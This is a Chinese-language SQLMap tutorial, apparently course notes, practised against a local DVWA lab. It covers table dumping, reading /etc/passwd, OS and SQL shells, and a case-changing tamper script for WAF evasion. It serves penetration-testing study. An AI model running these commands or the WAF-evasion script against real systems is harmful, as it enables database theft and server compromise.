【046-WEB攻防篇】注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构

知识点

1、注入工具-SQLMAP-常规猜解&字典配置

2、注入工具-SQLMAP-权限操作&文件命令

3、注入工具-SQLMAP-Tamper&使用&开发

4、注入工具-SQLMAP-调试指纹&风险等级

演示案例:

  • 数据猜解-库表列数据&字典
  • 权限操作-文件&命令&交互式
  • 提交方法-POST&HEAD&JSON
  • 绕过模块-Tamper脚本-使用&开发
  • 分析拓展-代理&调试&指纹&风险&等级

参考:

https://www.cnblogs.com/bmjoker/p/9326258.html

数据猜解-库表列数据&字典

常用语法

bash 复制代码
python sqlmap.py -h #这个是sqlmap的命令大全,不记得直接输入
-u "url" #指定 GET 请求目标地址,URL 必须英文双引号包裹
--batch #自动确认所有询问,不用手动回车,每条命令尽量带上
--data="参数=值" #POST 表单数据,如果是post请求用这个
-r 数据包.txt #导入 Burp 抓取的完整 HTTP 请求(最强推荐,自动携带 Cookie、请求头)
--cookie="key=value" #手动添加 Cookie,访问需要登录的页面
--random-agent #随机浏览器 UA,防止被 WAF 识别爬虫
--ignore-cert #忽略 HTTPS 证书报错(国外网站经常遇到)
--delay=1 #每次请求间隔 1 秒,避免请求太快被封 IP
--time-sec=数字 #时间盲注的延迟时间
--flush-session #清空当前目标的历史会话缓存

## 漏洞存在后使用的命令
--dbs #列出服务器上所有数据库
-D 库名 --tables #指定数据库,列出里面所有数据表
-D 库名 -T 表名 --columns #查看表中的字段(比如 username、password)
-D 库名 -T 表名 --dump #导出表内所有数据(脱库)
--current-db # 查看当前网站正在使用的数据库
--current-user #查看当前数据库连接账号

实战

  • 实战网站:https://sekumart.sekuripy.hr/(这个是sqlmap官方的)
    1. 先随便尝试,本人是在dvwa实践过,Windows和Linux的前置语法有细微差别。

      2. 扫到两个数据库,后面就是拿这两个数据库再扫里面的字段,不赘述
  • 在dvwa的SQLmap实战,middle难度
    1. 因为这个是需要登录的,按f12找到cookie值
  1. 找到库

  2. 看dvwa数据库存在什么表

  3. 获取表信息


权限操作-文件&命令&交互式

测试:MYSQL高权限注入

引出权限:

--is-dba #判断当前数据库账号是不是管理员(root)

--privileges #查看当前账号拥有哪些数据库权限(重点看是否有 FILE 权限)

引出文件:

--file-read #读取服务器本地文件(load_file())

--file-write="本地文件路径" --file-dest="服务器路径" #上传写入文件(into outfile)

引出命令:

--os-cmd= # 执行单条系统命令

--os-shell #获取交互式系统命令终端(最常用)

--sql-shell # 获取交互式 SQL 查询终端

实战

在dvwa的SQL注入部分用low来尝试命令。

shell 复制代码
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --is-dba 

这里写了后端数据库:MySQL(MariaDB)且操作系统:Debian Linux(Kali 本机)。最重要的是:current user is DBA: True,说明是root管理员,这就有很多权限了。

bash 复制代码
 sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --privileges

这里写了有dvwa数据库的39项权限,其中有file(上传文件),super(最高权限),select(查库啥的)

bash 复制代码
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --file-read="/etc/passwd"

拿到了文件/etc/word,在我本机的sqlmap/output/那个目录下。

后续几个写入文件,写入不了,后面在自己本地改了权限才能写入。

bash 复制代码
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --sql-shell

SQL 交互 shell(手动写 SQL 语句)


提交方法-POST&HEAD&JSON

测试:Post Cookie Json

--data ""

--cookie ""

-r 1.txt

此部分意思就是,POST请求,URI不会传参,而get请求会,所以如果是类似下图这种的post请求,需要传data参数。然后cookie,只要需要登录的网站都需要传,-r需要结合burp suite来使用

绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入

--tamper=base64encode.py

--tamper=test.py

脚本

bash 复制代码
from lib.core.enums import PRIORITY
# 导入优先级常量

__priority__ = PRIORITY.LOW
# 优先级:LOW/MEDIUM/HIGH;多个tamper同时启用时,按优先级顺序执行

def dependencies():
    pass
# 依赖检测函数,检查目标环境、数据库类型,不满足就不启用脚本;空代表无限制

def tamper(payload, **kwargs):
    # 核心函数 payload:sqlmap原生生成的注入语句
    
    if payload:      
        payload = payload.replace('SELECT','sElEct') # 大小写变形
        payload = payload.replace('OR','Or')
        payload = payload.replace('AND','And')
        payload = payload.replace('SLEEP','SleeP')
        payload = payload.replace('ELT','Elt')
    return payload
    # 返回修改完成的payload给sqlmap发包

Tamper 是什么?

Tamper = SQLMap 载荷混淆脚本

作用:修改 SQLmap 发送的注入 Payload,用来绕过 WAF、网站关键词过滤。

网站防火墙会拦截 SELECT、AND、OR、SLEEP 这类关键词,tamper 脚本对 payload 变形,达到绕过效果。


bash 复制代码
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --tamper=randomcase --dbs

用这个他可以替换大小写,randomcase是官方自带随机替换payload的大小写字母的脚本。但是现代防护这个几乎没用。这种脚本可以叠加使用。

自己写的脚本,可以sqlmap 你的完整参数 --tamper="./test.py",后面的""部分是写脚本存放的位置

分析拓展-代理&调试&指纹&风险&等级

1、后期分析调试:

bash 复制代码
-v=(0-6)  #详细的等级(0-6)
--proxy "http://xx:xx" #代理注入,可以放入burp suite中

-v 0 只输出关键结果(最安静)

-v 1 默认等级

-v 2 打印payload

-v 3 打印payload+请求头

-v 4 【调试tamper首选】完整HTTP请求包

-v 5 请求+完整响应包

-v 6 极致调试,打印所有底层数据包

2、打乱默认指纹:

bash 复制代码
--user-agent ""  #自定义user-agent,手动指定 UA,例如模仿 Chrome:这个和下面那个只能选一个加
--random-agent   #随机user-agent,伪装成普通浏览器,实战必加
--time-sec=(2,5) #延迟响应,默认为5

3、使用更多的测试:测试Header注入

--level=(1-5) #要执行的测试水平等级,默认为1

--risk=(0-3) #测试执行的风险等级,默认为1

evel 1(默认):只测试 GET 参数

level 2:增加测试 Cookie

level 3:增加测试 User-Agent、Referer

level 4:更多 HTTP 头

level 5:极致全面,大量 payload,速度很慢
risk 1(默认):安全 payload,不会修改 / 删除数据(查询类)

risk 2:少量中等风险

risk 3:高危!包含 DELETE / UPDATE / DROP 破坏性 SQL

相关推荐
平头哥~2 分钟前
Day 15 | 不改一行 HTML,给页面加上引号、角标和标签
前端·javascript·css·html·css3·学习资料
Rauser Mack4 分钟前
从交互困境到语音闭环:桌面AI全语音数字秘书架构解析
人工智能·架构·交互
风骏时光牛马6 分钟前
后端系统性能监控与异常告警管理
前端
mldong16 分钟前
流程图上没画人,单子却走对了:工作流引擎内置处理人解析器
java·架构
Fluxart.ai1 小时前
GPT Image 2 国内怎么用?在 Flux Art 完成图片生成与编辑
前端·javascript·gpt
tanzongbiao1 小时前
Dorado7文件上传 解决HttpServletResponse返回值中文乱码的问题
java·服务器·前端
jianqiang.xue3 小时前
ESP-IDF保姆级入门17|GPIO外部中断全解与工程化设计:分层架构/防抖策略/长按双击/优先级配置,掌握工业级可靠输入处理
stm32·单片机·物联网·架构·esp32
郑州光合科技余经理5 小时前
本地生活服务系统:成品模块和定制接口怎么划界
java·前端·人工智能·后端·系统架构·php·ai编程
平头哥~9 小时前
Day 07 _ 那条 1px 的线,为什么在手机上忽粗忽细
前端·css·样式·学习资料
小江的记录本9 小时前
【CSS】CSS 动画:transition、animation、transform、CSS3 新特性(附《思维导图》)
前端·css·安全·spring·前端框架·css3·动画